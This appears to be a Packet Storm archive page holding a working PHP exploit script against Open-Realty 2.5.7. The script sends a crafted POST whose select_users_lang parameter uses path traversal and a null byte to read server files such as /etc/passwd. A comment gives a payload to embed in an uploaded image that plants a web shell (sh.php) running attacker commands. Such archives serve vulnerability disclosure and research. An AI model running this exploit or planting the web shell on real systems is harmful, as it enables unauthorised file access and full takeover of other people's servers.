what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Open-Realty 2.5.7 Local File Disclosure

Open-Realty 2.5.7 Local File Disclosure
Posted Aug 18, 2010
Authored by Nikola Petrov

Open-Realty version 2.5.7 suffers from a local file disclosure vulnerability.

tags | exploit, local, info disclosure
SHA-256 | e08152c552f5883e1779c283c86769c43fce6edee36ff1efb190b0e8880da4ac

Open-Realty 2.5.7 Local File Disclosure

Change Mirror Download
<?php
/*
* Exploit Title:
* Date: 2010-08-18
* Author: Nikola Petrov
* Vendor: http://open-realty.org/
* Version: 2.5.7
*/
/*
vulnerable: Open-Realty 2.5.7
LFI: /index.php

upload image with: <?php system("echo \"<?php if(isset(\$_GET[\"cmd\"])) system(\$_GET[\"cmd\"]); ?>\" > sh.php"); ?>
include the image and sh.php will be generated.
proceed with sh.php

MAGIC_QUOTES must be 'off' and %00 must not be replaced with \0.
*/

print "\n\n#########################################################################\n";
print "#LFI discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n";
print "#Date: 05.09.2009\n";
print "#########################################################################\n\n";

if($argc < 5) {
print "usage: $argv[0] host port path file [debug: 1/0]\n";
print "example: $argv[0] localhost 80 / ../../../../../../../../../../../../etc/passwd\n\n\n";
exit();
}

$Host = $argv[1];
$Port = $argv[2];
$Path = $argv[3];
$File = $argv[4];

function HttpSend($aHost, $aPort, $aPacket) {
$Response = "";

if(!$Socket = fsockopen($aHost, $aPort)) {
print "Error connecting to $aHost:$aPort\n\n";
exit();
}

fputs($Socket, $aPacket);

while(!feof($Socket)) $Response .= fread($Socket, 1024);

fclose($Socket);

return $Response;
}

$VulnRequest = "select_users_lang=". $File . "%00";

$Packet = "POST {$Path} HTTP/1.1\r\n";
$Packet .= "Host: {$Host}\r\n";
$Packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$Packet .= "Content-Length: " . strlen($VulnRequest) . "\r\n\r\n";
$Packet .= "$VulnRequest\n";

if($argv[5] == 1) print $Packet;

print HttpSend($Host, $Port, $Packet);
?>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close